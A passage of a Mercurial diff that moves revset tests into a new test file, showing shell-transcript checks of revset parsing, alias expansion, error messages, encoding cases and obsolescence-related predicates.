-  $ log 'reverse(2::4) or tip'
-  4
-  2
-  9
-
-parentrevspec
-
-  $ log 'merge()^0'
-  6
-  $ log 'merge()^'
-  5
-  $ log 'merge()^1'
-  5
-  $ log 'merge()^2'
-  4
-  $ log '(not merge())^2'
-  $ log 'merge()^^'
-  3
-  $ log 'merge()^1^'
-  3
-  $ log 'merge()^^^'
-  1
-
-  $ hg debugrevspec -s '(merge() | 0)~-1'
-  * set:
-  <baseset+ [1, 7]>
-  1
-  7
-  $ log 'merge()~-1'
-  7
-  $ log 'tip~-1'
-  $ log '(tip | merge())~-1'
-  7
-  $ log 'merge()~0'
-  6
-  $ log 'merge()~1'
-  5
-  $ log 'merge()~2'
-  3
-  $ log 'merge()~2^1'
-  1
-  $ log 'merge()~3'
-  1
-
-  $ log '(-3:tip)^'
-  4
-  6
-  8
-
-  $ log 'tip^foo'
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
-  $ log 'branchpoint()~-1'
-  abort: revision in set has more than one child!
-  [255]
-
-Bogus function gets suggestions
-  $ log 'add()'
-  hg: parse error: unknown identifier: add
-  (did you mean adds?)
-  [255]
-  $ log 'added()'
-  hg: parse error: unknown identifier: added
-  (did you mean adds?)
-  [255]
-  $ log 'remo()'
-  hg: parse error: unknown identifier: remo
-  (did you mean one of remote, removes?)
-  [255]
-  $ log 'babar()'
-  hg: parse error: unknown identifier: babar
-  [255]
-
-Bogus function with a similar internal name doesn't suggest the internal name
-  $ log 'matches()'
-  hg: parse error: unknown identifier: matches
-  (did you mean matching?)
-  [255]
-
-Undocumented functions aren't suggested as similar either
-  $ log 'tagged2()'
-  hg: parse error: unknown identifier: tagged2
-  [255]
-
-multiple revspecs
-
-  $ hg log -r 'tip~1:tip' -r 'tip~2:tip~1' --template '{rev}\n'
-  8
-  9
-  4
-  5
-  6
-  7
-
-test usage in revpair (with "+")
-
-(real pair)
-
-  $ hg diff -r 'tip^^' -r 'tip'
-  diff -r 2326846efdab -r 24286f4ae135 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	Thu Jan 01 00:00:00 1970 +0000
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-  $ hg diff -r 'tip^^::tip'
-  diff -r 2326846efdab -r 24286f4ae135 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	Thu Jan 01 00:00:00 1970 +0000
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-
-(single rev)
-
-  $ hg diff -r 'tip^' -r 'tip^'
-  $ hg diff -r 'tip^:tip^'
-
-(single rev that does not looks like a range)
-
-  $ hg diff -r 'tip^::tip^ or tip^'
-  diff -r d5d0dcbdc4d9 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	* (glob)
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-  $ hg diff -r 'tip^ or tip^'
-  diff -r d5d0dcbdc4d9 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	* (glob)
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-
-(no rev)
-
-  $ hg diff -r 'author("babar") or author("celeste")'
-  abort: empty revision range
-  [255]
-
-aliases:
-
-  $ echo '[revsetalias]' >> .hg/hgrc
-  $ echo 'm = merge()' >> .hg/hgrc
-(revset aliases can override builtin revsets)
-  $ echo 'p2($1) = p1($1)' >> .hg/hgrc
-  $ echo 'sincem = descendants(m)' >> .hg/hgrc
-  $ echo 'd($1) = reverse(sort($1, date))' >> .hg/hgrc
-  $ echo 'rs(ARG1, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
-  $ echo 'rs4(ARG1, ARGA, ARGB, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
-
-  $ try m
-  ('symbol', 'm')
-  * expanded:
-  (func
-    ('symbol', 'merge')
-    None)
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <merge>>
-  6
-
-  $ HGPLAIN=1
-  $ export HGPLAIN
-  $ try m
-  ('symbol', 'm')
-  abort: unknown revision 'm'!
-  [255]
-
-  $ HGPLAINEXCEPT=revsetalias
-  $ export HGPLAINEXCEPT
-  $ try m
-  ('symbol', 'm')
-  * expanded:
-  (func
-    ('symbol', 'merge')
-    None)
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <merge>>
-  6
-
-  $ unset HGPLAIN
-  $ unset HGPLAINEXCEPT
-
-  $ try 'p2(.)'
-  (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
-  * expanded:
-  (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
-  * set:
-  <baseset+ [8]>
-  8
-
-  $ HGPLAIN=1
-  $ export HGPLAIN
-  $ try 'p2(.)'
-  (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
-  * set:
-  <baseset+ []>
-
-  $ HGPLAINEXCEPT=revsetalias
-  $ export HGPLAINEXCEPT
-  $ try 'p2(.)'
-  (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
-  * expanded:
-  (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
-  * set:
-  <baseset+ [8]>
-  8
-
-  $ unset HGPLAIN
-  $ unset HGPLAINEXCEPT
-
-test alias recursion
-
-  $ try sincem
-  ('symbol', 'sincem')
-  * expanded:
-  (func
-    ('symbol', 'descendants')
-    (func
-      ('symbol', 'merge')
-      None))
-  * set:
-  <generatorset+>
-  6
-  7
-
-test infinite recursion
-
-  $ echo 'recurse1 = recurse2' >> .hg/hgrc
-  $ echo 'recurse2 = recurse1' >> .hg/hgrc
-  $ try recurse1
-  ('symbol', 'recurse1')
-  hg: parse error: infinite expansion of revset alias "recurse1" detected
-  [255]
-
-  $ echo 'level1($1, $2) = $1 or $2' >> .hg/hgrc
-  $ echo 'level2($1, $2) = level1($2, $1)' >> .hg/hgrc
-  $ try "level2(level1(1, 2), 3)"
-  (func
-    ('symbol', 'level2')
-    (list
-      (func
-        ('symbol', 'level1')
-        (list
-          ('symbol', '1')
-          ('symbol', '2')))
-      ('symbol', '3')))
-  * expanded:
-  (or
-    (list
-      ('symbol', '3')
-      (or
-        (list
-          ('symbol', '1')
-          ('symbol', '2')))))
-  * set:
-  <addset
-    <baseset [3]>,
-    <baseset [1, 2]>>
-  3
-  1
-  2
-
-test nesting and variable passing
-
-  $ echo 'nested($1) = nested2($1)' >> .hg/hgrc
-  $ echo 'nested2($1) = nested3($1)' >> .hg/hgrc
-  $ echo 'nested3($1) = max($1)' >> .hg/hgrc
-  $ try 'nested(2:5)'
-  (func
-    ('symbol', 'nested')
-    (range
-      ('symbol', '2')
-      ('symbol', '5')))
-  * expanded:
-  (func
-    ('symbol', 'max')
-    (range
-      ('symbol', '2')
-      ('symbol', '5')))
-  * set:
-  <baseset
-    <max
-      <fullreposet+ 0:10>,
-      <spanset+ 2:6>>>
-  5
-
-test chained `or` operations are flattened at parsing phase
-
-  $ echo 'chainedorops($1, $2, $3) = $1|$2|$3' >> .hg/hgrc
-  $ try 'chainedorops(0:1, 1:2, 2:3)'
-  (func
-    ('symbol', 'chainedorops')
-    (list
-      (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      (range
-        ('symbol', '1')
-        ('symbol', '2'))
-      (range
-        ('symbol', '2')
-        ('symbol', '3'))))
-  * expanded:
-  (or
-    (list
-      (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      (range
-        ('symbol', '1')
-        ('symbol', '2'))
-      (range
-        ('symbol', '2')
-        ('symbol', '3'))))
-  * set:
-  <addset
-    <spanset+ 0:2>,
-    <addset
-      <spanset+ 1:3>,
-      <spanset+ 2:4>>>
-  0
-  1
-  2
-  3
-
-test variable isolation, variable placeholders are rewritten as string
-then parsed and matched again as string. Check they do not leak too
-far away.
-
-  $ echo 'injectparamasstring = max("$1")' >> .hg/hgrc
-  $ echo 'callinjection($1) = descendants(injectparamasstring)' >> .hg/hgrc
-  $ try 'callinjection(2:5)'
-  (func
-    ('symbol', 'callinjection')
-    (range
-      ('symbol', '2')
-      ('symbol', '5')))
-  * expanded:
-  (func
-    ('symbol', 'descendants')
-    (func
-      ('symbol', 'max')
-      ('string', '$1')))
-  abort: unknown revision '$1'!
-  [255]
-
-test scope of alias expansion: 'universe' is expanded prior to 'shadowall(0)',
-but 'all()' should never be substituted to '0()'.
-
-  $ echo 'universe = all()' >> .hg/hgrc
-  $ echo 'shadowall(all) = all and universe' >> .hg/hgrc
-  $ try 'shadowall(0)'
-  (func
-    ('symbol', 'shadowall')
-    ('symbol', '0'))
-  * expanded:
-  (and
-    ('symbol', '0')
-    (func
-      ('symbol', 'all')
-      None))
-  * set:
-  <filteredset
-    <baseset [0]>,
-    <spanset+ 0:10>>
-  0
-
-test unknown reference:
-
-  $ try "unknownref(0)" --config 'revsetalias.unknownref($1)=$1:$2'
-  (func
-    ('symbol', 'unknownref')
-    ('symbol', '0'))
-  abort: bad definition of revset alias "unknownref": invalid symbol '$2'
-  [255]
-
-  $ hg debugrevspec --debug --config revsetalias.anotherbadone='branch(' "tip"
-  ('symbol', 'tip')
-  warning: bad definition of revset alias "anotherbadone": at 7: not a prefix: end
-  * set:
-  <baseset [9]>
-  9
-
-  $ try 'tip'
-  ('symbol', 'tip')
-  * set:
-  <baseset [9]>
-  9
-
-  $ hg debugrevspec --debug --config revsetalias.'bad name'='tip' "tip"
-  ('symbol', 'tip')
-  warning: bad declaration of revset alias "bad name": at 4: invalid token
-  * set:
-  <baseset [9]>
-  9
-  $ echo 'strictreplacing($1, $10) = $10 or desc("$1")' >> .hg/hgrc
-  $ try 'strictreplacing("foo", tip)'
-  (func
-    ('symbol', 'strictreplacing')
-    (list
-      ('string', 'foo')
-      ('symbol', 'tip')))
-  * expanded:
-  (or
-    (list
-      ('symbol', 'tip')
-      (func
-        ('symbol', 'desc')
-        ('string', '$1'))))
-  * set:
-  <addset
-    <baseset [9]>,
-    <filteredset
-      <fullreposet+ 0:10>,
-      <desc '$1'>>>
-  9
-
-  $ try 'd(2:5)'
-  (func
-    ('symbol', 'd')
-    (range
-      ('symbol', '2')
-      ('symbol', '5')))
-  * expanded:
-  (func
-    ('symbol', 'reverse')
-    (func
-      ('symbol', 'sort')
-      (list
-        (range
-          ('symbol', '2')
-          ('symbol', '5'))
-        ('symbol', 'date'))))
-  * set:
-  <baseset [4, 5, 3, 2]>
-  4
-  5
-  3
-  2
-  $ try 'rs(2 or 3, date)'
-  (func
-    ('symbol', 'rs')
-    (list
-      (or
-        (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'date')))
-  * expanded:
-  (func
-    ('symbol', 'reverse')
-    (func
-      ('symbol', 'sort')
-      (list
-        (or
-          (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
-  * set:
-  <baseset [3, 2]>
-  3
-  2
-  $ try 'rs()'
-  (func
-    ('symbol', 'rs')
-    None)
-  hg: parse error: invalid number of arguments: 0
-  [255]
-  $ try 'rs(2)'
-  (func
-    ('symbol', 'rs')
-    ('symbol', '2'))
-  hg: parse error: invalid number of arguments: 1
-  [255]
-  $ try 'rs(2, data, 7)'
-  (func
-    ('symbol', 'rs')
-    (list
-      ('symbol', '2')
-      ('symbol', 'data')
-      ('symbol', '7')))
-  hg: parse error: invalid number of arguments: 3
-  [255]
-  $ try 'rs4(2 or 3, x, x, date)'
-  (func
-    ('symbol', 'rs4')
-    (list
-      (or
-        (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'x')
-      ('symbol', 'x')
-      ('symbol', 'date')))
-  * expanded:
-  (func
-    ('symbol', 'reverse')
-    (func
-      ('symbol', 'sort')
-      (list
-        (or
-          (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
-  * set:
-  <baseset [3, 2]>
-  3
-  2
-
-issue4553: check that revset aliases override existing hash prefix
-
-  $ hg log -qr e
-  6:e0cc66ef77e8
-
-  $ hg log -qr e --config revsetalias.e="all()"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr e: --config revsetalias.e="0"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr :e --config revsetalias.e="9"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr e:
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr :e
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-
-issue2549 - correct optimizations
-
-  $ try 'limit(1 or 2 or 3, 2) and not 2'
-  (and
-    (func
-      ('symbol', 'limit')
-      (list
-        (or
-          (list
-            ('symbol', '1')
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', '2')))
-    (not
-      ('symbol', '2')))
-  * set:
-  <filteredset
-    <baseset [1, 2]>,
-    <not
-      <baseset [2]>>>
-  1
-  $ try 'max(1 or 2) and not 2'
-  (and
-    (func
-      ('symbol', 'max')
-      (or
-        (list
-          ('symbol', '1')
-          ('symbol', '2'))))
-    (not
-      ('symbol', '2')))
-  * set:
-  <filteredset
-    <baseset
-      <max
-        <fullreposet+ 0:10>,
-        <baseset [1, 2]>>>,
-    <not
-      <baseset [2]>>>
-  $ try 'min(1 or 2) and not 1'
-  (and
-    (func
-      ('symbol', 'min')
-      (or
-        (list
-          ('symbol', '1')
-          ('symbol', '2'))))
-    (not
-      ('symbol', '1')))
-  * set:
-  <filteredset
-    <baseset
-      <min
-        <fullreposet+ 0:10>,
-        <baseset [1, 2]>>>,
-    <not
-      <baseset [1]>>>
-  $ try 'last(1 or 2, 1) and not 2'
-  (and
-    (func
-      ('symbol', 'last')
-      (list
-        (or
-          (list
-            ('symbol', '1')
-            ('symbol', '2')))
-        ('symbol', '1')))
-    (not
-      ('symbol', '2')))
-  * set:
-  <filteredset
-    <baseset [2]>,
-    <not
-      <baseset [2]>>>
-
-issue4289 - ordering of built-ins
-  $ hg log -M -q -r 3:2
-  3:8528aa5637f2
-  2:5ed5505e9f1c
-
-test revsets started with 40-chars hash (issue3669)
-
-  $ ISSUE3669_TIP=`hg tip --template '{node}'`
-  $ hg log -r "${ISSUE3669_TIP}" --template '{rev}\n'
-  9
-  $ hg log -r "${ISSUE3669_TIP}^" --template '{rev}\n'
-  8
-
-test or-ed indirect predicates (issue3775)
-
-  $ log '6 or 6^1' | sort
-  5
-  6
-  $ log '6^1 or 6' | sort
-  5
-  6
-  $ log '4 or 4~1' | sort
-  2
-  4
-  $ log '4~1 or 4' | sort
-  2
-  4
-  $ log '(0 or 2):(4 or 6) or 0 or 6' | sort
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  $ log '0 or 6 or (0 or 2):(4 or 6)' | sort
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-
-tests for 'remote()' predicate:
-#.  (csets in remote) (id)            (remote)
-1.  less than local   current branch  "default"
-2.  same with local   specified       "default"
-3.  more than local   specified       specified
-
-  $ hg clone --quiet -U . ../remote3
-  $ cd ../remote3
-  $ hg update -q 7
-  $ echo r > r
-  $ hg ci -Aqm 10
-  $ log 'remote()'
-  7
-  $ log 'remote("a-b-c-")'
-  2
-  $ cd ../repo
-  $ log 'remote(".a.b.c.", "../remote3")'
-
-tests for concatenation of strings/symbols by "##"
-
-  $ try "278 ## '5f5' ## 1ee ## 'ce5'"
-  (_concat
-    (_concat
-      (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
-  * concatenated:
-  ('string', '2785f51eece5')
-  * set:
-  <baseset [0]>
-  0
-
-  $ echo 'cat4($1, $2, $3, $4) = $1 ## $2 ## $3 ## $4' >> .hg/hgrc
-  $ try "cat4(278, '5f5', 1ee, 'ce5')"
-  (func
-    ('symbol', 'cat4')
-    (list
-      ('symbol', '278')
-      ('string', '5f5')
-      ('symbol', '1ee')
-      ('string', 'ce5')))
-  * expanded:
-  (_concat
-    (_concat
-      (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
-  * concatenated:
-  ('string', '2785f51eece5')
-  * set:
-  <baseset [0]>
-  0
-
-(check concatenation in alias nesting)
-
-  $ echo 'cat2($1, $2) = $1 ## $2' >> .hg/hgrc
-  $ echo 'cat2x2($1, $2, $3, $4) = cat2($1 ## $2, $3 ## $4)' >> .hg/hgrc
-  $ log "cat2x2(278, '5f5', 1ee, 'ce5')"
-  0
-
-(check operator priority)
-
-  $ echo 'cat2n2($1, $2, $3, $4) = $1 ## $2 or $3 ## $4~2' >> .hg/hgrc
-  $ log "cat2n2(2785f5, 1eece5, 24286f, 4ae135)"
-  0
-  4
-
-  $ cd ..
-
-prepare repository that has "default" branches of multiple roots
-
-  $ hg init namedbranch
-  $ cd namedbranch
-
-  $ echo default0 >> a
-  $ hg ci -Aqm0
-  $ echo default1 >> a
-  $ hg ci -m1
-
-  $ hg branch -q stable
-  $ echo stable2 >> a
-  $ hg ci -m2
-  $ echo stable3 >> a
-  $ hg ci -m3
-
-  $ hg update -q null
-  $ echo default4 >> a
-  $ hg ci -Aqm4
-  $ echo default5 >> a
-  $ hg ci -m5
-
-"null" revision belongs to "default" branch (issue4683)
-
-  $ log 'branch(null)'
-  0
-  1
-  4
-  5
-
-"null" revision belongs to "default" branch, but it shouldn't appear in set
-unless explicitly specified (issue4682)
-
-  $ log 'children(branch(default))'
-  1
-  2
-  5
-
-  $ cd ..
-
-test author/desc/keyword in problematic encoding
-# unicode: cp932:
-# u30A2    0x83 0x41(= 'A')
-# u30C2    0x83 0x61(= 'a')
-
-  $ hg init problematicencoding
-  $ cd problematicencoding
-
-  $ $PYTHON > setup.sh <<EOF
-  > print u'''
-  > echo a > text
-  > hg add text
-  > hg --encoding utf-8 commit -u '\u30A2' -m none
-  > echo b > text
-  > hg --encoding utf-8 commit -u '\u30C2' -m none
-  > echo c > text
-  > hg --encoding utf-8 commit -u none -m '\u30A2'
-  > echo d > text
-  > hg --encoding utf-8 commit -u none -m '\u30C2'
-  > '''.encode('utf-8')
-  > EOF
-  $ sh < setup.sh
-
-test in problematic encoding
-  $ $PYTHON > test.sh <<EOF
-  > print u'''
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'author(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'author(\u30C2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'desc(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'desc(\u30C2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'keyword(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'keyword(\u30C2)'
-  > '''.encode('cp932')
-  > EOF
-  $ sh < test.sh
-  0
-  ====
-  1
-  ====
-  2
-  ====
-  3
-  ====
-  0
-  2
-  ====
-  1
-  3
-
-test error message of bad revset
-  $ hg log -r 'foo\\'
-  hg: parse error at 3: syntax error in revset 'foo\\'
-  [255]
-
-  $ cd ..
-
-Test that revset predicate of extension isn't loaded at failure of
-loading it
-
-  $ cd repo
-
-  $ cat <<EOF > $TESTTMP/custompredicate.py
-  > from mercurial import error, registrar, revset
-  > 
-  > revsetpredicate = registrar.revsetpredicate()
-  > 
-  > @revsetpredicate('custom1()')
-  > def custom1(repo, subset, x):
-  >     return revset.baseset([1])
-  > 
-  > raise error.Abort('intentional failure of loading extension')
-  > EOF
-  $ cat <<EOF > .hg/hgrc
-  > [extensions]
-  > custompredicate = $TESTTMP/custompredicate.py
-  > EOF
-
-  $ hg debugrevspec "custom1()"
-  *** failed to import extension custompredicate from $TESTTMP/custompredicate.py: intentional failure of loading extension
-  hg: parse error: unknown identifier: custom1
-  [255]
-
-Test repo.anyrevs with customized revset overrides
-
-  $ cat > $TESTTMP/printprevset.py <<EOF
-  > from mercurial import encoding
-  > def reposetup(ui, repo):
-  >     alias = {}
-  >     p = encoding.environ.get('P')
-  >     if p:
-  >         alias['P'] = p
-  >     revs = repo.anyrevs(['P'], user=True, localalias=alias)
-  >     ui.write('P=%r' % list(revs))
-  > EOF
-
-  $ cat >> .hg/hgrc <<EOF
-  > custompredicate = !
-  > printprevset = $TESTTMP/printprevset.py
-  > EOF
-
-  $ hg --config revsetalias.P=1 log -r . -T '\n'
-  P=[1]
-  $ P=3 hg --config revsetalias.P=2 log -r . -T '\n'
-  P=[3]
-
-  $ cd ..
-
-Test obsstore related revsets
-
-  $ hg init repo1
-  $ cd repo1
-  $ cat <<EOF >> .hg/hgrc
-  > [experimental]
-  > evolution = createmarkers
-  > EOF
-
-  $ hg debugdrawdag <<'EOS'
-  >        F G
-  >        |/    # split: B -> E, F
-  > B C D  E     # amend: B -> C -> D
-  >  \|/   |     # amend: F -> G
-  >   A    A  Z  # amend: A -> Z
-  > EOS
-
-  $ hg log -r 'successors(Z)' -T '{desc}\n'
-  Z
-
-  $ hg log -r 'successors(F)' -T '{desc}\n'
-  F
-  G
-
-  $ hg tag --remove --local C D E F G
-
-  $ hg log -r 'successors(B)' -T '{desc}\n'
-  B
-  D
-  E
-  G
-
-  $ hg log -r 'successors(B)' -T '{desc}\n' --hidden
-  B
-  C
-  D
-  E
-  F
-  G
-
-  $ hg log -r 'successors(B)-obsolete()' -T '{desc}\n' --hidden
-  D
-  E
-  G
-
-  $ hg log -r 'successors(B+A)-divergent()' -T '{desc}\n'
-  A
-  Z
-  B
-
-  $ hg log -r 'successors(B+A)-divergent()-obsolete()' -T '{desc}\n'
-  Z
diff --git a/tests/test-revset.t b/tests/test-revset2.t
copy from tests/test-revset.t
copy to tests/test-revset2.t
--- a/tests/test-revset.t
+++ b/tests/test-revset2.t
@@ -1,27 +1,8 @@
   $ HGENCODING=utf-8
   $ export HGENCODING
-  $ cat > testrevset.py << EOF
-  > import mercurial.revset
-  > 
-  > baseset = mercurial.revset.baseset
-  > 
-  > def r3232(repo, subset, x):
-  >     """"simple revset that return [3,2,3,2]
-  > 
-  >     revisions duplicated on purpose.
-  >     """
-  >     if 3 not in subset:
-  >        if 2 in subset:
-  >            return baseset([2,2])
-  >        return baseset()
-  >     return baseset([3,3,2,2])
-  > 
-  > mercurial.revset.symbols['r3232'] = r3232
-  > EOF
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
-  > testrevset=$TESTTMP/testrevset.py
   > EOF
 
   $ try() {
@@ -32,49 +13,6 @@
   >   hg log --template '{rev}\n' -r "$1"
   > }
 
-extension to build '_intlist()' and '_hexlist()', which is necessary because
-these predicates use '\0' as a separator:
-
-  $ cat <<EOF > debugrevlistspec.py
-  > from __future__ import absolute_import
-  > from mercurial import (
-  >     node as nodemod,
-  >     registrar,
-  >     revset,
-  >     revsetlang,
-  >     smartset,
-  > )
-  > cmdtable = {}
-  > command = registrar.command(cmdtable)
-  > @command(b'debugrevlistspec',
-  >     [('', 'optimize', None, 'print parsed tree after optimizing'),
-  >      ('', 'bin', None, 'unhexlify arguments')])
-  > def debugrevlistspec(ui, repo, fmt, *args, **opts):
-  >     if opts['bin']:
-  >         args = map(nodemod.bin, args)
-  >     expr = revsetlang.formatspec(fmt, list(args))
-  >     if ui.verbose:
-  >         tree = revsetlang.parse(expr, lookup=repo.__contains__)
-  >         ui.note(revsetlang.prettyformat(tree), "\n")
-  >         if opts["optimize"]:
-  >             opttree = revsetlang.optimize(revsetlang.analyze(tree))
-  >             ui.note("* optimized:\n", revsetlang.prettyformat(opttree),
-  >                     "\n")
-  >     func = revset.match(ui, expr, repo)
-  >     revs = func(repo)
-  >     if ui.verbose:
-  >         ui.note("* set:\n", smartset.prettyformat(revs), "\n")
-  >     for c in revs:
-  >         ui.write("%s\n" % c)
-  > EOF
-  $ cat <<EOF >> $HGRCPATH
-  > [extensions]
-  > debugrevlistspec = $TESTTMP/debugrevlistspec.py
-  > EOF
-  $ trylist() {
-  >   hg debugrevlistspec --debug "$@"
-  > }
-
   $ hg init repo
   $ cd repo
 
@@ -151,2761 +89,6 @@
   $ echo "[paths]" >> .hg/hgrc
   $ echo "default = ../remote1" >> .hg/hgrc
 
-trivial
-
-  $ try 0:1
-  (range
-    ('symbol', '0')
-    ('symbol', '1'))
-  * set:
-  <spanset+ 0:2>
-  0
-  1
-  $ try --optimize :
-  (rangeall
-    None)
-  * optimized:
-  (rangeall
-    None
-    define)
-  * set:
-  <spanset+ 0:10>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try 3::6
-  (dagrange
-    ('symbol', '3')
-    ('symbol', '6'))
-  * set:
-  <baseset+ [3, 5, 6]>
-  3
-  5
-  6
-  $ try '0|1|2'
-  (or
-    (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')))
-  * set:
-  <baseset [0, 1, 2]>
-  0
-  1
-  2
-
-names that should work without quoting
-
-  $ try a
-  ('symbol', 'a')
-  * set:
-  <baseset [0]>
-  0
-  $ try b-a
-  (minus
-    ('symbol', 'b')
-    ('symbol', 'a'))
-  * set:
-  <filteredset
-    <baseset [1]>,
-    <not
-      <baseset [0]>>>
-  1
-  $ try _a_b_c_
-  ('symbol', '_a_b_c_')
-  * set:
-  <baseset [6]>
-  6
-  $ try _a_b_c_-a
-  (minus
-    ('symbol', '_a_b_c_')
-    ('symbol', 'a'))
-  * set:
-  <filteredset
-    <baseset [6]>,
-    <not
-      <baseset [0]>>>
-  6
-  $ try .a.b.c.
-  ('symbol', '.a.b.c.')
-  * set:
-  <baseset [7]>
-  7
-  $ try .a.b.c.-a
-  (minus
-    ('symbol', '.a.b.c.')
-    ('symbol', 'a'))
-  * set:
-  <filteredset
-    <baseset [7]>,
-    <not
-      <baseset [0]>>>
-  7
-
-names that should be caught by fallback mechanism
-
-  $ try -- '-a-b-c-'
-  ('symbol', '-a-b-c-')
-  * set:
-  <baseset [4]>
-  4
-  $ log -a-b-c-
-  4
-  $ try '+a+b+c+'
-  ('symbol', '+a+b+c+')
-  * set:
-  <baseset [3]>
-  3
-  $ try '+a+b+c+:'
-  (rangepost
-    ('symbol', '+a+b+c+'))
-  * set:
-  <spanset+ 3:10>
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try ':+a+b+c+'
-  (rangepre
-    ('symbol', '+a+b+c+'))
-  * set:
-  <spanset+ 0:4>
-  0
-  1
-  2
-  3
-  $ try -- '-a-b-c-:+a+b+c+'
-  (range
-    ('symbol', '-a-b-c-')
-    ('symbol', '+a+b+c+'))
-  * set:
-  <spanset- 3:5>
-  4
-  3
-  $ log '-a-b-c-:+a+b+c+'
-  4
-  3
-
-  $ try -- -a-b-c--a # complains
-  (minus
-    (minus
-      (minus
-        (negate
-          ('symbol', 'a'))
-        ('symbol', 'b'))
-      ('symbol', 'c'))
-    (negate
-      ('symbol', 'a')))
-  abort: unknown revision '-a'!
-  [255]
-  $ try é
-  ('symbol', '\xc3\xa9')
-  * set:
-  <baseset [9]>
-  9
-
-no quoting needed
-
-  $ log ::a-b-c-
-  0
-  1
-  2
-
-quoting needed
-
-  $ try '"-a-b-c-"-a'
-  (minus
-    ('string', '-a-b-c-')
-    ('symbol', 'a'))
-  * set:
-  <filteredset
-    <baseset [4]>,
-    <not
-      <baseset [0]>>>
-  4
-
-  $ log '1 or 2'
-  1
-  2
-  $ log '1|2'
-  1
-  2
-  $ log '1 and 2'
-  $ log '1&2'
-  $ try '1&2|3' # precedence - and is higher
-  (or
-    (list
-      (and
-        ('symbol', '1')
-        ('symbol', '2'))
-      ('symbol', '3')))
-  * set:
-  <addset
-    <baseset []>,
-    <baseset [3]>>
-  3
-  $ try '1|2&3'
-  (or
-    (list
-      ('symbol', '1')
-      (and
-        ('symbol', '2')
-        ('symbol', '3'))))
-  * set:
-  <addset
-    <baseset [1]>,
-    <baseset []>>
-  1
-  $ try '1&2&3' # associativity
-  (and
-    (and
-      ('symbol', '1')
-      ('symbol', '2'))
-    ('symbol', '3'))
-  * set:
-  <baseset []>
-  $ try '1|(2|3)'
-  (or
-    (list
-      ('symbol', '1')
-      (group
-        (or
-          (list
-            ('symbol', '2')
-            ('symbol', '3'))))))
-  * set:
-  <addset
-    <baseset [1]>,
-    <baseset [2, 3]>>
-  1
-  2
-  3
-  $ log '1.0' # tag
-  6
-  $ log 'a' # branch
-  0
-  $ log '2785f51ee'
-  0
-  $ log 'date(2005)'
-  4
-  $ log 'date(this is a test)'
-  hg: parse error at 10: unexpected token: symbol
-  [255]
-  $ log 'date()'
-  hg: parse error: date requires a string
-  [255]
-  $ log 'date'
-  abort: unknown revision 'date'!
-  [255]
-  $ log 'date('
-  hg: parse error at 5: not a prefix: end
-  [255]
-  $ log 'date("\xy")'
